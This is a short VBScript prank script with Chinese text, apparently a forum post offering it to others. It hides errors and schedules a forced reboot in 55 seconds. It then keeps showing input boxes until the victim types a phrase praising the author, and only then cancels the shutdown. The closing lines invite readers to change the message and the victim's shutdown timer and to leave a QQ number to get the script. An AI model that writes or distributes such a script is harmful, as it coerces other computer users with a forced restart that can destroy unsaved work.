on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 55 -c ""不说你会后悔！"" ",0 ,true
dim a
do while(a <> "超哥好")
a = inputbox ("说超哥好,超哥我错了,快说！！ ","后悔了哇","背时",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早点说就OK了！"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，呵呵呵呵....."
这个是自己编辑的想说什么就说 ,, 对方关机时间自己调.....
需要的留下QQ
